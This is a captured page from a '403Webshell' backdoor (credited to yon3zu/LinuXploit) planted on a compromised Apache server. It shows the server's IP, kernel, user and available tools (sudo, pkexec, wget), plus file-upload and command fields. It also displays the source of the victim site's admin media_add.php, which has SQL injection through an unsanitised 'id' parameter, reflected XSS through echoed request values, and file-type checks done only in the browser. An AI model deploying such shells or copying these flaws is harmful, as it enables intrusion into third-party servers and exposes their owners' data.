403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rsdgroup/adminPanel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rsdgroup/adminPanel/media_add.php
<?php 
include_once("session.php");
include_once("settings.php");
include_once("functions.php");


if ($_REQUEST["mode"] == "Edit") {
    $mode = "Edit";
    $mode2 = "EDIT";
    $mode1 = "Update";
    $id = $_REQUEST['id'];
    $rs_tblsite = mysql_query("select * from tblPhoto where `id`='$id'");
    $array_tblsite = mysql_fetch_array($rs_tblsite);
    $Id = $array_tblsite['id'];
    $upload_image = $array_tblsite['file_upload'];   
} else {
    $mode = "Add";
    $mode2 = "ADD";
    $mode1 = "Add";
}

?>
<LINK href="mel.css" type=text/css rel=stylesheet>
<LINK href="sdmenu.css" type=text/css rel=stylesheet>


<?php 
if($_REQUEST["mode"] != "Edit"){
?>
<script type="text/javascript">
function Checkfiles()
{
    var video = document.getElementById('image');
    var video_new = video.value;
    
    var fup = document.getElementById('file_upload');
    var fileName = fup.value;
    var ext = fileName.substring(fileName.lastIndexOf('.') + 1);
    
    
    if(video_new == "")
    {
     alert("*Required video upload");
                image.focus();
                return false;               
    }
    
     if(fileName == "")
    {
     alert("*Required file upload");
                file_upload.focus();
                return false;
                     
    }
    
         if(fileName !== ""){
    
    if(ext === "jpeg" || ext === "png" || ext === "gif" || ext === "JPEG" || ext === "PNG" || ext === "GIF" || ext === "jpg" || ext === "JPG")
    {
        return true;
    }
    else
    {
        alert("Upload JPEG,PNG,GIF Images only");
        return false;
    }
    }
}
</script>
<?php } else { ?>
<script type="text/javascript">
function Checkfiles()
{
    var fup = document.getElementById('file_upload');
    var fileName = fup.value;
    var ext = fileName.substring(fileName.lastIndexOf('.') + 1);
    
    if(fileName !=="")
    {
        if(ext === "jpeg" || ext === "png" || ext === "gif" || ext === "JPEG" || ext === "PNG" || ext === "GIF" || ext === "jpg" || ext === "JPG")
        {
            return true;
        }
        else
        {
            alert("Upload JPEG,PNG,GIF Images only");
            return false;
        }
    } else {
       return true; 
    }    
}
</script>

<?php } ?>

<table width="94%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td><form action="write_media.php" method="post" enctype="multipart/form-data"  name="add_treasure_form" onsubmit="return Checkfiles();">
        <fieldset>
        <legend>VIDEO ADD FORM</legend>
        <table width="97%" border="0" cellspacing="2" cellpadding="0">
          <tr> 
            <td width="42%" height="26" class="general">Video :</td>
            <td width="58%" height="26"><input name="image" type="file" id="image" maxlength="2500" > </td>
          </tr>
          <tZr> 
            <td width="42%" height="26" class="general">File Upload :</td>
            <td width="58%" height="26"><input name="file_upload" type="file" id="file_upload" <?php if($_REQUEST['mode'] != "Edit") { echo "";} ?> > <?php if ($upload_image != "") { ?><img src="../cat_images/media/pics/<?= $upload_image; ?>" width="189" height="81"> <?php } ?>
            
            
            </td>
          </tr>
          <tr align="center"> 
            <td height="26" colspan="2"><label for="label"> 
              <input type="hidden" name="id" value="<?=$_REQUEST['id']?>" />
              <input type="submit" name="Submit" value="  Save  " class="button" />
              &nbsp;&nbsp;&nbsp;&nbsp; 
              <input type="reset" name="Submit" value="Reset" class="button" />
              <input name="mode" type="hidden" id="mode" value="<?=$_REQUEST['mode']?>" />
              </label></td>
          </tr>
        </table>
        </fieldset>
      </form></td>
  </tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit